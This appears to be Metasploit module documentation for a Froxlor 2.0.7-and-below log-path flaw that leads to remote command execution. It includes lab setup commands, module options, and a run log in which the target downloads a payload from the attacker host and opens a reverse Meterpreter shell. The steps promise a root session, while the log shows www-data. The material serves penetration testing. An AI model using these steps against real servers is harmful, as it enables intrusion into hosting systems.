## Vulnerable Application

Froxlor is an open source web hosting control panel. Froxlor v2.0.7 and below suffers from a bug that allows
authenticated users to change the application logs path to any directory on the OS level which the user www-data can
write without restrictions from the backend which leads to writing a malicious Twig template that the application will
render. That will lead to achieving a remote command execution under the user www-data.

### Setup
Install php 8.1 and MySQL. Download the vulnerable Froxlor application and place it in Ubuntu's default webroot. The
below instruction set should be able to be copy and pasted into a terminal in order to deploy a vulnerable application.
```
sudo add-apt-repository ppa:ondrej/php
sudo apt install php8.1
sudo apt install php8.1-common php8.1-mysql php8.1-xml php8.1-xmlrpc php8.1-curl php8.1-gd php8.1-imagick php8.1-cli php8.1-dev php8.1-imap php8.1-mbstring php8.1-opcache php8.1-soap php8.1-zip php8.1-redis php8.1-intl php8.1-gmp php8.1-bcmath -y
wget https://files.froxlor.org/releases/froxlor-2.0.3.tar.gz
gunzip froxlor-2.0.3.tar.gz
tar -xvf froxlor-2.0.3.tar
sudo rm /var/www/html/index.html
sudo cp -r froxlor /var/www/html/
cd /var/www/html/
sudo chown -R www-data:www-data ./
sudo apt install mysql-server
`sudo systemctl start mysql.service`
sudo mysql
mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'notpassword';
mysql> quit;
sudo systemctl restart apache2
```

After the above completes successfully, navigate to http://localhost/froxlor to finish the web-based portion of the
installation. Accept the EULA and input the database credentials and then start the application.

## Options

### TARGETURI

The base URI path of Froxlor. **Default: /froxlor**

### WEB_ROOT

The webroot of the Froxlor server. The webroot must be known in order to write the absolute path of the logfile. The
default options assumes Froxlor is installed on an Ubuntu machine: **Default: /var/www/html**


## Verification Steps

1. Start msfconsole
1. Do: `use exploit/linux/http/froxlor_log_path_rce`
1. Set the `RHOSTS`, `LHOST`, `USERNAME`, and `PASSWORD` options
1. Run the module
1. Receive a Meterpreter session as the `root` user.

## Scenarios
### Ubuntu 20.04, Froxlor 2.0.3 running on Apache, MySQL and PHP 8.1
```
msf6 > use exploit/linux/http/froxlor_log_path_rce
[*] Using exploit/linux/http/froxlor_log_path_rce
msf6 exploit(linux/http/froxlor_log_path_rce) > set rhosts 172.16.199.140
rhosts => 172.16.199.140
msf6 exploit(linux/http/froxlor_log_path_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/froxlor_log_path_rce) > set lport 9191
lport => 9191
msf6 exploit(linux/http/froxlor_log_path_rce) > set username admin
username => admin
msf6 exploit(linux/http/froxlor_log_path_rce) > set password notpassword
password => notpassword
msf6 exploit(linux/http/froxlor_log_path_rce) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.199.1:9191
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Successful login
[+] The target appears to be vulnerable. Vulnerable version found: 2.0.3
[+] Successfully Logged in!
[+] CSRF token is : 5701b7e6335ab13e20e91845b210b6be0bea7621
[+] Changed logfile path to: /var/www/html/froxlor/templates/Froxlor/footer.html.twig
[*] Using URL: http://172.16.199.1:8080/ygs3pAWMRNIs
[+] Injected payload successfully
[*] Changing logfile path back to default value while triggering payload: /var/www/html/froxlor/logs/froxlor.log
[*] Client 172.16.199.140 (Wget/1.20.3 (linux-gnu)) requested /ygs3pAWMRNIs
[*] Sending payload to 172.16.199.140 (Wget/1.20.3 (linux-gnu))
[*] Sending stage (3045348 bytes) to 172.16.199.140
[*] Cleaning up...
[*] Deleting tampered footer.html.twig file
[*] Rewriting clean footer.html.twig file
[*] Meterpreter session 3 opened (172.16.199.1:9191 -> 172.16.199.140:50398) at 2023-02-13 18:20:02 -0500
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 172.16.199.140
OS           : Ubuntu 20.04 (Linux 5.15.0-58-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
